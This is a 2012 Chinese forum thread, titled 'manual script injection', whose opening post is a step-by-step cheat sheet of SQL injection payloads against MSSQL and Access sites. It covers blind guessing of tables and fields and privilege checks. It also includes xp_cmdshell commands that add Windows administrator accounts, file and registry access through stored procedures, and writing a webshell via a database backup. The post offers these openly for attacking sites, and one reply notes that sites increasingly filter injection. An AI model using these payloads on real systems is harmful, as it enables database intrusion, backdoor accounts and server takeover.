找回密码
 立即注册
查看: 3070|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 : |, [' u& n- Q2 S8 C9 [
1.判断是否有注入;and 1=1 ;and 1=2
/ \5 c6 z( q( u  ?$ B! i6 n, u' Y2 L6 |4 c/ ~+ A
2.初步判断是否是mssql ;and user>0
- R+ D! w. _+ @* v3 ]/ k9 O1 g' X  j9 ?
3.注入参数是字符'and [查询条件] and ''=' 2 r# `" B2 M5 D9 q

/ x5 S( f/ s5 M  h7 f( z) m" _% W8 P4.搜索时没过滤参数的'and [查询条件] and '%25'='
3 Z( I: W& R  Y5 A
! D% n) Q& T0 d+ {8 R9 Q5.判断数据库系统 ) t, C7 Y/ n  N2 v0 J& F& o
;and (select count(*) from sysobjects)>0 mssql
2 \/ w1 J- x6 q$ F2 P! F0 e;and (select count(*) from msysobjects)>0 access . C( H7 ^4 ?- m

$ E, j2 d' n  \6 L! h6.猜数据库 ;and (select Count(*) from [数据库名])>0
" k* f0 E* d4 q9 k3 [/ i5 T- i2 i3 A  s& k( u7 W; o, V
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 7 W$ ?: }8 o- a* ]

' ]; P, _8 ~" ^7 W- h9 n: g8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
: p  N; h, o1 X7 V2 w4 Y$ s7 d
& K2 {6 X/ {& b/ H# V( |9.(1)猜字段的ascii值(access) 3 }9 l. r: N) ~: u- P: C
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
1 d. C$ u- ~! c
0 j% j9 }6 w7 _9 e! Q! h1 m% O& q(2)猜字段的ascii值(mssql)
2 y6 l: Y8 o! X) J( Q7 m, n;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
; [( j. L3 T$ m" Y1 ^! V; e( o8 O2 \! W5 g* Y! M6 |
10.测试权限结构(mssql) # I6 x$ D4 t9 j1 Q  e7 g
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 p. v( s0 ?, |/ M9 Z) [! P4 y
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0 }- Q# [7 i- D) J5 r: f
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- k2 `) d4 S7 ?;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 V6 q! b% D7 `) A6 c;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
8 @* S& B: [3 n4 b/ k8 c' R" s2 ];and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- $ [  N2 F+ O/ c' D  U
;and 1=(select IS_MEMBER('db_owner'));-- . E* P* A. h$ X) E
5 b. i5 R1 Q) A% n/ T3 K) K
11.添加mssql和系统的帐户
) I- l. S4 W* h8 P- v4 q7 a;exec master.dbo.sp_addlogin username;--
6 Q) M6 Y/ Q6 _" E- O) E/ @
1 v: Y5 Z" Q) x( Y2 ?# r5 Z- t4 P;exec master.dbo.sp_password null,username,password;--
, ], v3 j. q2 i, L  p6 ]5 u- t
( x# q4 f" V+ K3 ?. r;exec master.dbo.sp_addsrvrolemember sysadmin username;--
1 H3 v" M% [% `. Y3 f" B" Z/ D$ _% P, u5 }) `) O
;exec master.dbo.xp_cmdshell 'net user username password
# ^5 s. h- n& r) ]* g/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 g9 w- L$ C% `: ~  H
$ j5 [- g9 q; h3 V6 p* w
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5 X+ P, Q( n" F8 I; ^
) z; a$ p- j) T6 V
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- % N! j$ O- X9 x! B# ~4 l: R) t
' D" U7 V# S- E: u( c
12.(1)遍历目录 : [6 W# [7 h) @" n7 D
: k& F9 o0 @* @. l+ p( r1 w
;create table dirs(paths varchar(100), id int) ' v! P4 _/ L, ]2 @; u7 a( R
;insert dirs exec master.dbo.xp_dirtree 'c:\'
5 f9 ^& I9 c. ?- l2 _; @1 a;and (select top 1 paths from dirs)>0
) t8 u0 X4 A, h;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3 \# M9 T9 G# u
4 K7 q) k( f1 ^. J
(2)遍历目录 3 P, [  F0 |/ J7 Z1 x; o
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . Z5 M( E+ S1 x
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 l$ t) X6 M4 h1 d* w;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
0 N5 O  s% m& t! L; m& H;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1 f* e' s. _: {$ J$ I5 n) {) I
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
. i7 v7 M0 I4 L! R/ J. V2 ^! `1 Y  ~' E% j- g0 r# P9 Z' k
13.mssql中的存储过程
6 K, W  B1 N9 s
9 c; [: J2 o$ y- j8 o# Kxp_regenumvalues 注册表根键, 子键
; W- K& g8 ~% x$ [) Q;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 " l+ u; C8 c" N1 L6 w9 ~$ j) u  h

+ S5 [* q6 c' H0 x9 W% Vxp_regread 根键,子键,键值名   U& B' N$ p6 F; E/ q
;exec xp_regread
" A: a' P& f. @'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
! o6 H# S& x  f2 U- ?) a& B; M5 n9 U' a
xp_regwrite 根键,子键, 值名, 值类型, 值 7 g- m5 i& h  ]' j. b* s1 z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
! H5 R( ~. Z% D3 };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6 t& f* u  R- b2 \
$ L9 C. s3 v+ G' A% A6 R# `
xp_regdeletevalue 根键,子键,值名
4 }* ~. m- p3 q8 ^9 |: f* y" Z1 K( I
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
0 S/ i" z% P! B7 [& G$ b4 V$ d% u8 N/ \% h
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
. p: c9 s+ Q/ ~0 N  ^; p
$ R2 w% F- b) F( T4 n% u6 E14.mssql的backup创建webshell
/ ~" E, F. T6 O5 j3 I) luse model * D' n# ^* _/ p* `1 E7 [# y1 ]
create table cmd(str image); / h( K0 `( _) ?! W7 t3 U
insert into cmd(str) values (''); 6 R8 v7 f, E. O, v2 ?
backup database model to disk='c:\l.asp'; ' R' w$ g/ `% S/ g
* h& n  x9 S% q4 N; U4 N, u
15.mssql内置函数 ' s( h* I3 ?. \0 i( P8 H
;and (select @@version)>0 获得Windows的版本号 7 q/ L2 a2 U2 a0 c
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ( N) F4 N9 D& f* w9 X, `$ H/ @  S
;and (select user_name())>0 爆当前系统的连接用户 7 |* L) w: g2 A% |* c: c
;and (select db_name())>0 得到当前连接的数据库
/ c  j  e: p; O* _, M! o: G' z' j3 t3 O$ ~6 D* G& U: Q
16.简洁的webshell
: ~9 f; l0 _# x( q5 B3 ?
2 v1 u& y* }# z# J; A7 m" Buse model : |6 R( l' m8 S! ]$ }# P+ j

. z5 c7 D! i8 Q/ G( f& s/ w% Ocreate table cmd(str image); $ P, ~: S" R( o3 r

- Y9 ]2 D: `7 I* A/ Y2 D, C6 zinsert into cmd(str) values ('');
/ a! [  b; }8 l- E8 X
, E0 l& N/ A& I( ^backup database model to disk='g:\wwwtest\l.asp'; . S7 [3 T4 B5 i8 S* i1 q6 \5 z6 V' ]

- o1 r5 d( j& E; l) P: N$ _
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表